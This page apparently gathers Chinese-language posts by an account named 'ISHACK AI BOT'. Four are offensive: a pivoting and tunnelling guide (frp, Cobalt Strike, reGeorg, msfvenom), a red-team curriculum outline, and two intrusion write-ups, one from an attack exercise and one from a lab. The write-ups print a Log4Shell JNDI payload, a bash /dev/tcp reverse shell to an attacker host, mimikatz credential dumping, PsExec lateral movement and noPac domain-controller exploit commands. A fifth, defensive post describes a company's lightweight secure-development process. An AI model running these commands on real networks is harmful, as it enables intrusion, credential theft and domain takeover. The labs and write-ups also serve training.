ISHACK AI BOT 发布的所有帖子
-
内网穿透常用方法系列总结
前言在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。 本文内容按以下思维导图展开 目标出网(socks代理)这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。 frp(socks5)frp服务端配置文件 [common]bind_port = 8080 frp客户端配置文件 [common]server_addr = xx.xx.xx.xxserver_port = 8080#服务端口使用Web常见端口[socks5]type = tcpremote_port = 8088plugin = socks5use_encryption = trueuse_compression = true#socks5口令#plugin_user = SuperMan#plugin_passwd = XpO2McWe6nj3 此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。 use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截] use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源] use_encryption = true 、use_compression = true 必须放在相关协议下面。 frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽 setg Proxies socks5:xxx.xxx.xxx.xxx:8088 加密压缩的对比 这是frp客户端配置文件中未使用 encryption 与 compression 功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。 使用 encryption 与 compression 功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备 CobaltStrike (socks4a)到已控目标机的Beacon下将socks代理开启 beacon > socks 1024 #端口根据VPS实际情况进行设置 菜单栏中的 View > Proxy Pivots ,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。 上线不出网机器这是link链接,只要主链路(出网机Beacon)掉线,均掉! SMB Beacon官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。 创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。 (在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的Listener>上线) 运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。 可在主Beacon上用link host链接或unlink host断开。 beacon> link 192.168.144.155beacon> unlink 192.168.144.155 Link Listener 在已上线的主机创建Listener。 导出该类型Listener对应的可执行文件或dll等。 选择刚建立的Listener。 上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大) 在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。 beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe beacon> shell netstat -ano |findstr 4444 SSH Loginbeacon> ssh 192.168.144.174:22 root adminbeacon> ssh 192.168.144.203:22 root admin 在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。 目标不出网(http代理)目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。 reGeorg (socks5)python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080 利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。 Neo-reGeorg (加密)python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx 使用Neo-reGeorg后,数据包已被加密传输。 冰蝎 (开socks5)冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。 虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。 reduh (单端口转发)reduh使用:https://blog.csdn.net/nzjdsds/article/details/82930774 当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境: 这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。 下面把具体的流程走一遍: sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe#--platform <platform> 指定payload的目标平台#-e, --encoder <encoder> 指定需要使用的编码器#-i, --iterations <count> 指定payload的编码次数 上传payload到目标服务器,并执行。 metasploit是监听转发后的地址与端口。 sudo msfconsole -qmsf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/shell_bind_tcpmsf5 exploit(multi/handler) > set rhost 127.0.0.1msf5 exploit(multi/handler) > set lport 5353msf5 exploit(multi/handler) > run -j java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx telnet 127.0.0.1 1010>>[createTunnel]5353:127.0.0.1:53 可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。 msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 10080msf5 auxiliary(server/socks4a) > run -j 注意 为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定! 隔离网络(多级代理) 内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理… frp现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。 (具体,参考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html) proxifier用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序) 设置代理规则,选择对应代理。 二层代理成功,内网隔离机445探测开放。 Proxychains命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序) 联动metasploit,ms17_010探测,可以看到代理链的传输过程。 针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉! 在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。 msf5 exploit(multi/handler) > sessions 1meterpreter > run get_local_subnetsmeterpreter > run autoroute -pmeterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -pmeterpreter > background 上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。 msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1msf5 exploit(multi/handler) > route 可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。 msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 1080msf5 auxiliary(server/socks4a) > run -j然后打开/etc/proxychains.conf 原文链接: https://www.cnblogs.com/yokan/p/14057794.html
-
红队攻击思路知识框架
0x00 红队基础知识一、构建一个大型内网域环境搭建父域控制器子域控制器辅域控制器域内主机域内服务器二、Windows NTLM(NT LAN Manager)认证原理Kerberos 域内认证原理0x02 内网信息搜集篇一、工作组和大型域内网如何进行信息搜集如何搜集本机密码 MySQLSQL Server... ...Linux 如何搜索特定的密码文件搜集指定用户的命令历史记录中的各种明文密码Windows 2012 高版本以上如何搜集密码 Windows 2012 版本以下如何搜集密码 关于 Linux 下如何搜集各种密码信息 无线密码抓取 组册表里各种健值敏感信息 搜集数据库中保存的各类高价值账号密码 搜集保存在目标系统本地各种文档中的明文密码 针对各类常用 windows 办公软件的各类密码搜集 如何搜集VPN密码 如何搜集浏览器相关凭证 Chrome 浏览器抓取凭证Firefox 浏览器抓取凭证360 浏览器抓取凭证IE 浏览器抓取凭证如何搜集各种数据库信息 通过 LDAP 定位核心机器通过 LDAP 获取内网架构分布通过 LDAP 获取内网组织架构通过 LDAP 获取域内核心机器Mysql SQL Server Oracle PostgreSQL LDAP 根据当前跳板机器搜集网络环境(判断那种协议出网) 获取当前系统的详细IP配置,包括所在域, ip, 掩码, 网关, 主备 dns ip 获取当前系统最近的用户登录记录 获取当前用户的所有命令历史记录(针对于 Linux) 远程截屏捕捉目标用户敏感操作 获取当前机器环境变量(Java、Python、Go ...) 获取当前本机 rdp / ssh 端口开启状态及其默认端口号 获取本机所有已安装软件的详细列表 获取本机各个浏览器中保存的、书签页、历史浏览记录 获取当前用户桌面、回收站里的所有文件列表 获取当前系统代理 获取当前系统的所有 ipc 连接、共享 获取当前系统host文件内容 利用系统自带截屏捕捉目标用户敏感操作 ... 二、搜集目标内网邮箱企业内网邮箱信息搜集 通过邮箱对内网进行整体分析Exchange内网邮箱信息搜集 通过邮箱对内网进行整体分析... ... 三、搜集目标内网各种Web页面、Web框架、登陆入口TomcatStruts2WeblogicJbossJekinsApache Solr... ...四、搜集各类客户端软件FTP XFtpWinSCPFileZillaXshellMobaXterm远程客户端管理 向日葵TeamViewerSSH WinSCPMobaXtermXshell五、对于内网存活机器信息搜集NetBIOSICMPTCPUDPARP六、针对成百上千的内网如何快速信息搜集如何快速对一个 C 段进行信息搜集如何快速对一个 B 段进行信息搜集如何快速对一个 A 段进行信息搜集0x03 内网穿透、流量代理、端口转发篇一、根据当前跳板机器判断出网情况TCP/UDPICMPDNSHTTPHTTPS二、正/反向代理连接工具MetasploitCobaltStrikeproxychainsSSocksfrp...三、端口转发LCXMetasploitnetshiptablespowershell四、内网穿透工具FRPNPSsppvenom五、针对不出网主机如何上线到 C2(Metasploit、CobaltStrike)DNSHTTPICMPSMB六、针对常规不出网主机如何做内网穿透、流量代理DNS出网的话 iodineHTTP/HTTPS出网的话 reGeorgNeo-reGeorg0x04 权限提升篇一、WindowsWindows 提权之内核溢出提权 Windows 提权之土豆系列(Windows 9 种权限利用) Windows 提权之第三方服务提权 Windows 提权之系统错误配置提权 Windows 提权之 Bypass UAC 数据库提权 Mysql UDF 提权Mysql MOF 提权SQL Server XP_cmdshell 提权SQL Server SP_oacreate 提权SQL Server 其他提权... ... 等等二、LinuxLinux 提权之内核溢出提权Linux 提权之 SUID 提权Linux 提权之利用错误配置提权Linux 提权之计划任务提权Linux 提权之利用高权限服务提权... ... 等等0x04 各种 C2 使用以及深度分析篇一、MetasploitMetasploit|七大模块详解 Metasploit|针对 Auxiliary 辅助模块的常规使用 Metasploit|针对 Exploit 漏洞利用模块的常规使用 Metasploit|针对 Payload 模块生成各种(正/反)漏洞利用可执行文件 Metasploit|针对 Post 后渗透利用模块的常规使用 Metasploit|获取当前机器的明文密码及 Hash Metasploit|获取提权的有效模块进行权限提升 Metasploit|窃取键盘记录、获取目标屏幕截图、文件上传下载操作、以及 load 扩展使用 Metasploit|根据当前跳板机器如何添加路由、进行端口转发、内网穿透 Metasploit|如何连接到 Postgresql 数据库进行管理渗透记录 Meterpreter|添加 Socks 代理 Meterpreter|设置 session 永久不掉线(防止权限丢失) Meterpreter|设置上线之后自动进程迁移(防止权限丢失) Meterpreter|开启目标远程桌面服务 3389 端口 Meterpreter|针对内网各种服务进行爆破 针对内网所有 Windows 存活机进行批量 SMB 爆破针对内网所有 Mssql 存活机进行批量爆破针对内网所有 Mysql 存活机进行批量爆破针对内网所有 Linux 存活机 进行批量 Ssh 爆破针对内网所有 Redis 存活进行批量爆破针对内网所有存活 Postgresql 进行批量爆破针对内网所有存活 Telnet 进行批量爆破针对内网所有存活 Ftp 进行批量爆破针对内网 Exchange 的 ews 接口爆破Meterpreter|如何发现内网下各类高价值存活主机 探测内网 SMB,Windows 存活探测内网 SSH,Linux 存活探测内网 MySQL 存活探测内网 MsSQL 存活探测内网 RDP 存活(3389)探测内网 Telnet 存活探测内网 FTP 存活探测内网 Web 组件快速批量识别探测内网 MS17-010 漏洞探测内网 CVE-2019-0708 漏洞Metasploit 与 Cobalt Strike 双双联动 如何单靠 Metasploit 来对内网进行渗透 二、CobaltStrikeCobalt Strike|安装与简介Cobalt Strike|创建监听以及生 PayloadCobalt Strike|如何基于 HTTP / SMB 上线Cobalt Strike|如何抓当前机器的密码 HASHCobalt Strike|内网端口扫描以及发现内网存活机器Cobalt Strike|端口转发、Socks 代理Cobalt Strike|进程窃取、屏幕截图、键盘记录、进程迁移Cobalt Strike|第三方插件的使用(渗透攻击红队)Cobalt Strike|如何造轮子写一个自己的插件Cobalt Strike|内网批量上线Cobalt Strike|针对于不同的网络环境上线不出网的机器Cobalt Strike|中转上线内网不出网的机器Cobalt Strike 与 Metasploit 双双联动三、Poshc2TSH... ...0x05 内网横向移动篇一、基于 Metasploit 下的横向移动基于 Cobalt Strike 下的横向移动利用 PsExec 来横向移动利用 SMBExec 来横向移动利用 WMIExec 来横向移动IPC 命令行攻击at 定时任务schtasks 定时任务wmicWinRm二、哈希传递(Pass The Hash)横向移动0x06 域内攻击篇从域外对域内进行枚举搜集各类信息从域外对域内进行密码喷洒攻击令牌窃取在实际域渗透中的灵活运用哈希传递(Pass The Hash)攻击MS14-068 票据传递(Pass the Ticket)攻击域渗透中活动目录 ntds.dit 文件的获取与实际应用Windows 2008 GPP 组策略首选项漏洞利用域渗透之非约束委派攻击利用域渗透之约束委派攻击利用域渗透之基于资源的约束委派攻击利用NetLogon 域内提权漏洞(CVE-2020-1472)利用 krbtgt 来打造 Golden Ticket(黄金票据) 对域内进行权限维持通过服务账号 Hash 来打造 Silver Ticket(白银票据) 进行 PTK内网渗透中的 Net-NTLM Relay Attack利用 Skeleton Key 对域内权限进行权限维持通过 Hook PasswordChangeNotify 拦截修改的帐户密码通过 SSP 来获取目标登陆的凭据从而达到权限维持的手段通过 GPO(组策略对象)批量控制域内主机AS-REP Roasting Attack多种域内漏洞组合拳利用跨域攻击、如何从子域攻击到主域无域用户下如何进行域渗透如何从 A 域 渗透到 B 域域内定向攻击,获取指定机器的权限通过 Windows 域外远程获取目标域内数据通过 Linux 域外远程获取目标域内数据0x07 Exchange 攻击篇对内网里 Exchange 邮件服务进行枚举邮箱用户和密码喷洒攻击对内网里 Exchange 邮件服务进行 NTLM RelayExchange CVE-2020-0688 远程代码执行漏洞利用Exchange 常规内外网打点搜集 [Exchange存活、目标 Exchange 接口、定位 Exchange 服务器]基于 Metasploit 对 Exchange 的常规接口爆破Exchange 导出指定邮件内网...0x08 杀软对抗篇免杀制作思路基于白名单绕过Payload 免杀编写Bypass add userCobalt Strike Profile 分析以及编写通过域名+CDN 隐藏 C2(Metasploit、CobaltStrike)Metasploit 通过 ACL 隐藏 Bind Shell0x09 权限维持篇工作组下如何进行内网渗透域环境下如何进行内网渗透Linux 集群环境渗透姿势
-
一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】
前言一次攻防演练中首先是团队拿到了一个 Webshell ,后续又把权限弹到了 CobaltStrike 方便我来做内网渗透: 通过发现当前机器是一台公网服务器,只有公网 IP:xxx.xxx.xxx.16 通过查看 arp 缓存发现当前是有一些公网机器的: 通过查询这些 IP 发现是"某网络",而且通过 Nbtscan 发现当前 C 段有主机存活:(初步判断当前 C 段机器有可能存在域,但不确定) 对当前第一层内网机器 C 段进行横向移动由于是攻防演练,拿到越多的分数越好,在这里就不考虑一些其他问题,拿到当前机器后我抓到了明文密码: 但是通过此密码去利用 MSF 对 C 段进行密码喷洒发现没有一台主机被成功横向出来: 就在这个时候我又扫了一下看看有没有 MS17010:(一般来说向这种"某某网"基本上都有几台存在永恒之蓝,所以直接去扫就行) 发现 92、151、200 这三台是存在 MS17010 的,随后打了 92 这台: 随后 MSF 和 CS 联动,我把 MSF 的 shell 又弹到了 Cs,并且做了权限维持: 这个时候其实用这两台跳板机器就够了,另外两台存在 MS17010 没必要继续打,随后我对当前 C 段进行信息搜集,对 Web 资产进行扫描存活发现大量 Web 资产: 通过手工分析发现一枚 SQL 注入,而且是 DBA 权限: 然后添加了一个管理员用户然后开启了 3389 (因为有诺顿,常规免杀没时间弄了,主要拿分,索性直接登录服务器) 而且直接通过 socks 连接不了,感觉是做了限制,后续发现使用 mstsc /admin 是可以登录的: 这个时候我用 92 这台机器当作跳板远程登录到 71 桌面: 随后克隆了 administrator 的桌面: 此时重新登录之前添加的账号到远程桌面就是 administrator 的桌面了: 通过一系列的信息搜集并且翻密码,拿到了 Mssql 和所有旁站的权限: 通过已搜集到的密码去对 C 段继续密码喷洒成功喷洒出 C 段的一台 Mssql:xxx.xxx.xxx.239 后续直接调用 XP_cmdshell 执行命令,发现权限还很大: 随后直接利用 bitsadmin 上线到 cs: 此时已经拿到了:16、92、239 这三台机器的权限,但是还没有发现有内网,这个时候就陷入了瓶颈。 搞到这里发现横向不了,其他 Web 又不想用 0day 打,回过头来用 MS17010 打下了 200 这台: 随后通过同样的方式把 shell 弹到了 CS 并且添加了用户而且加入远程桌面组: 随后登录发现登录失败: 这个时候利用 mstsc /admin 可以绕过并成功登录到目标远程桌面: 同样的方式克隆了 administrator 的桌面: 通过信息搜集翻文件我发现了大量有价值的东西,比如 mstsc 登录记录: 拿到 navicat 数据库凭证: 并且发现 Xshell 里面有很多台 SSH: 里面所有 Linux 主机都可被登录,这个时候只需要利用 SharpDecryptPwd 把它们的密码抓下来就好,但是发现出问题了: 后面用这玩意查看了密码:(本来不想用这几把玩意的,太麻烦得一个个的去查看密码) 发现有几台机器有 10 的内网: 通过已有的密码再去横向喷洒了一下 C 段的 Linux 主机: 然后弹了几个 Shell 到 MSF: 至此这个公网的 C 段基本上已经穿了,大量核心数据库、交换机、Web服务器都拿下,接下来就是对 10 的内网进行内网渗透。 来自第二层内网 10 段的内网渗透因为我已经拿到了 root 的密码,我直接扫了一下 10.10.10.1/16 的 B 段,有一大波资产,这里就不截图了,有几百个,其中发现有 ESXI: 并且拿到了一个门禁系统: 通过特殊手段横向移动拿下了 10 段的两台 SSH,并且发现有第三层内网是 192 段、还有 docker 环境: 由于 10 段有 ESXI ,我直接利用漏洞拿到了 ESXI 云平台,旗下所有机器都被控: 此时 10 段基本上已经穿了,接下来就是对 192 的内网进行渗透。 来自第三层内网 192 段的内网渗透通过常规 fscan 简单扫了一下 192 段,发现 192 资产也很肥: 然后又发现 MS17010 漏洞两台: 现在梳理梳理梳理关系了,当前环境是这样的: 原文链接:https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247491421&idx=1&sn=769d715d05057112eb4ee1ebb8312e37&chksm=c172c541f6054c571e482d4283f946625f2689ec6214e9d47a61c66399ee7d2cd2a62c0de464&scene=123&key=f3d6282f44b990e0f2527af4db8e088f25f3e43d0abaf5f845ff52e14965e4fe188c89081cfd1f78925d46f3773aa2e74a47694f65db45695689fdd967c2c09337cb5405c40efe99f3eb546fc97abca96d5ff3818c9a7530e4acc9a4e5d882040400173a797499538a59659384656bc3ebcc665e0a0c437c54b0a25452e6ce44&ascene=14&uin=MTc3NzQzNDgzMQ%3D%3D&devicetype=Windows+10+x64&version=6309001c&lang=zh_CN&countrycode=CN&exportkey=n_ChQIAhIQ3pDdiz1MC4F99DsGfx2v5BL0AQIE97dBBAEAAAAAADHyJqWLbaIAAAAOpnltbLcz9gKNyK89dVj07Lq3ukZca%2FkGn9mZ1m3mR4X82v32Zct1B2kfTB%2BQWna3aR3DhlMUQvvT3Z2sxfB9OUECYQoL2A5oAR5FOuDqlNc%2FQnrjkFyvrHh031cA5N0cUT4RO2kT%2B56Q2pBiEsL7ziwAdFczUCCRk9OW7sxmCEBUAd%2BI86xc%2FAPPLFRk3akMyXxiozAYLRujrimNRkLpFymtdYxpwqugIkLAWKp3X%2Fn6cL4bGQvrReToG01rCHpQQPakFsS%2BoSm63vyyJ7cpmwybCp7ze9nIH1UdpOc%3D&acctmode=0&pass_ticket=dS7P%2Bn8WaPCzHJxyD5pizreTrBJbMLZFV9J36NJ7%2Fmx2byCsxnyK2ySPe%2BM9YvvFwWh7tiUQ78aV%2FVvJTCaQeg%3D%3D&wx_header=1&fontgear=2
-
从外网 log4j2 RCE 再到内网组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC
网络拓扑 信息搜集渗透测试第一步当然是信息搜集 拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描 nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151 发现开放了22,38080这两个端口 通过nmap我们可以得知这是一台Ubuntu,22是ssh,而38080这个端口是unknown的,我们尝试访问一下 于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog 发现存在 CVE-2021-44228漏洞,尝试去获取一个shell CVE-2021-44228 利用首先在我们的VPS kali(192.168.81.133) 开启一个LDAP: git clone https://github.com/black9/Log4shell_JNDIExploit.git java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133 然后在kali上nc监听9999端口: 我们使用TOMCATBYpass进行反弹shell /bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell 反弹shell命令需要进行base64编码 BP抓包,改为post传参并且构造payload payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=} 最后使用EXP成功反弹shell,要对base64编码进行两次url编码才能执行 发现当前拿到的shell是一个docker容器 想办法逃逸也失败了,最后在/root/目录下找到了flag文件: flag{redteam.lab-1} Congratulations, you got this: saul Saul123 得到了一个flag,还有一个类似于账号密码的东西 在信息收集中nmap扫到目标主机开放22ssh服务,因此思考可能是ssh的账号密码 内网信息搜集通过上节得到的账号和密码登陆到了Ubuntu系统 我们可以看到当前机器拥有两块网卡,一块ens33用于链接外网,一块ens38用于内网通信 在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash 和 python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。 所以我们使用for循环ping一下ens38的c段网络 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done 发现内网还有一台机器10.0.1.7存在 或者使用 scan info 工具进行内网信息收集 kali中使用python快速搭建httpd 靶机下载工具并赋予权限 进行内网信息收集 发现10.0.1.7存活并存在MS17-010 随后为了方便,我选择用 frp 把当前机器的流量代理出来: 配置frps.ini 配置frpc.ini 然后使用 Metasploit 设置 Socks5 对内网进行深度信息搜集; setg Proxies socks5:192.168.81.133:8888 setg ReverseAllowProxy true 使用 smb 版本探测模块对目标进行扫描: use auxiliary/scanner/smb/smb_version 发现目标10.0.1.7版本是windows7,并且存在域REDTEAM 既然是windows7,那么就可能存在MS17-010漏洞 MS17-010利用通过上节,我们知道了10.0.1.7是win7,接下来进行探测 通过探测得知这台机器是存在ms17-010漏洞的 由于目标是内网不一定出网,故而tcp反射连接不能使用 设置为payload正向bind_tcp 直接拿到win7权限,然后加载mimikataz把密码抓出来 Username Domain Password root REDTEAM Red12345meterpreter > load mimikatz 加载工具 meterpreter > creds_all 列出凭证 注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7 这个时候就得到了一个域用户的账号了。 内网利器 CVE-2021-42287、CVE-2021-42278通过对当前内网的信息搜集之后发现,win7还有一块内网的网卡 且定位到域控到域控 IP 为 10.0.0.12 由于最近爆出了两个域内漏洞:CVE-2021-42287、CVE-2021-42278,直接尝试利用一下。 具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞CVE-2021-42287创建一个机器用户saulGoodman,再把机器用户 saulGoodman的sAMAccountName改成DC。然后利用DC去申请一个TGT票据。再把DC的sAMAccountName改为sAMAccountName。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(DC是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。 于是直接使用MSF添加一个socks5 添加路由 run autoroute -s 10.0.0.7/24 然后我们把本地的代理加上就行了 利用工具下载地址 https://github.com/WazeHell/sam-the-admin https://github.com/Ridter/noPac https://github.com/waterrr/noPac 然后利用脚本即可 proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldap proxychains python3 exp.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell 最后也是拿到了最终的 Flag。 靶机环境: 链接: https://pan.baidu.com/s/18pXdC2f_zDsXONpSUg1fYg 提取码: 8dcy 原文链接:http://www.kryst4l.cn/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-log4j2-RCE-%E5%86%8D%E5%88%B0%E5%86%85%E7%BD%91%E6%A0%B8%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%B4%9E-CVE-2021-42287%E3%80%81CVE-2021-42278-%E6%8B%BF%E5%88%B0-DC/
-
精简版SDL落地实践
一、前言一般安全都属于运维部下面,和上家公司的运维总监聊过几次一些日常安全工作能不能融入到DevOps中,没多久因为各种原因离职。18年入职5月一家第三方支付公司,前半年在各种检查中度过,监管形势严峻加上大领导对安全的重视(主要还是监管),所有部门19年的目标都和安全挂钩。由于支付公司需要面对各种监管机构的检查,部分安全做的比较完善,经过近一年对公司的熟悉发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是SDL,和各厂商交流过之后决定自己照葫芦画瓢在公司一点一点推广。 上图为标准版的SDL,由于运维采用DevOps体系,测试也使用自动化进行功能测试,版本迭代周期比较快,安全人手不足加上对SDL的威胁建模等方法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种情况调研了一些业内的一些做法,决定把SDL精简化 。精简版SDL如下: . 二、精简版SDL落地实践安全培训SDL核心之一就是安全培训,所以在安全培训上我们做了安全编码、安全意识、安全知识库、安全SDK 安全编码:我们在网上找了一些java安全编码规范、产品安全设计及开发安全规范结合公司实际业务出了一版。 因为各种监管机构对培训都有要求,借此推了一下安全培训,定期对开发和新员工入职的培训。 安全意识:公司有企业微信公众号,大部分员工都关注了,在公众号推广了一波。 宣传完之后答题,答题满分送小礼品 因为人手不足,而功能测试和安全测试本质上有很多相通的地方,测试部门也比较配合,针对测试人员做了一些安全测试相关的培训,但是效果并不是太理想。 安全知识库:在漏洞修复过程中,开发很多不太了解漏洞原理、修复方案,所以我们建立了安全知识库,开发先到安全知识库查相关解决方法。找不到的再和安全人员沟通,安全人员对知识库不断更新,形成一个闭环。 安全SDK由于公司有架构部门,开发框架基本是架构部门提供。我们将一些常见的漏洞和架构部门沟通之后,让架构将一些漏洞修复方式用SDK实现,开发只需要导入JAR包,在配置文件中配置即可。其中也挺多坑的,需要慢慢优化。 三、 安全需求设计公司有项目立项系统,所有的项目立项都需要通过系统来进行立项,安全为必选项,评审会安全也必须要参与 这个时候基本上项目经理会找安全人员进行沟通,copy了一份VIP的产品安全设计规范,根据需求文档和项目经理确定安全需求。 确认好安全需求之后将按需求加入到需求文档,并确认安全测试时间,此流程只针对新项目,已经上线的项目的需求并未按照此流程,后续在安全测试时候会讲到这部分的项目是怎么做的。 四、开发、安全测试安全测试主要分为代码审计,漏洞扫描,手工安全测试。由此衍生出来的安全产品分为3类。DAST:动态应用程序安全测试 (wvs,appscan)、SAST:静态应用程序安全测试 (fortify,rips)、IAST:交互式应用程序安全测试 (seeker,雳鉴),这三种产品的详细介绍可以参考https://www.aqniu.com/learn/46910.html,下图为三种产品的测试结果对比。 这几类产品实现了自动化可以继承到DevOps中。接下来我们将这些工具融入到开发测试阶段。 IAST的实现模式较多,常见的有代理模式、VPN、流量镜像、插桩模式,本文介绍最具代表性的2种模式,代理模式和插桩模式。一些调研过的产品如下图,具体测试结果就不公布了。 开发阶段在对几类产品调研的时候发现IAST的插桩模式可以直接放到开发环境,开发环境和测试环境的代码区别主要还是在于application.yml配置文件,所以可以提前将该模式放到开发阶段。 开发写完代码提交到gitlab部署到开发环境启动应用的时候,开发需要验证一下功能是否可用,这个时候就可以检测出是否存在漏洞。 公司在测试环境使用rancher,把IAST的jar包放入到项目的gitlab,在部署的时候把代码拉到本地,通过修改Dockerfile文件把jar包添加到容器。 ADD shell/xxx.jar /home/app/xx/lib 由于公司项目基本统一使用spring-boot,所有的项目都通过一个start.sh脚本来启动应用,start.sh和Dockerfile一样需要添加到项目的gitlab,同时修改start.sh脚本文件即可。 -javaagent:$APP_HOME/lib/xx.jar -jar $APP_HOME/app/*.jar --spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 & 测试项目如下,忽略错别字: 开发提交代码部署完之后,访问一下正常的功能即可在平台上看见是否存在漏洞。 部分产品同时还会检测第三方组件包。 公司使用harbor来对镜像进行当仓库镜像,项目部署完成之后会打包成一个镜像上传到harbor,harbor自带镜像扫描功能。 测试阶段开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描,功能测试,安全测试。 静态代码扫描利用静态代码扫描工具对代码在编译之前进行扫描,并在静态代码层面上发现各种问题,其中包括安全问题。部分工具列表: 静态代码扫描我们采用sonarQube集成,我们使用的是FindbugSecurity,精简规则,然后在持续构建过程中,进行静态代码bug,安全扫描。 静态代码扫描的同时也可以扫描第三方依赖包,OWSAP的Dependency-Check就可以集成到持续构建过程中,由于IAST类产品支持该功能,不多做介绍。 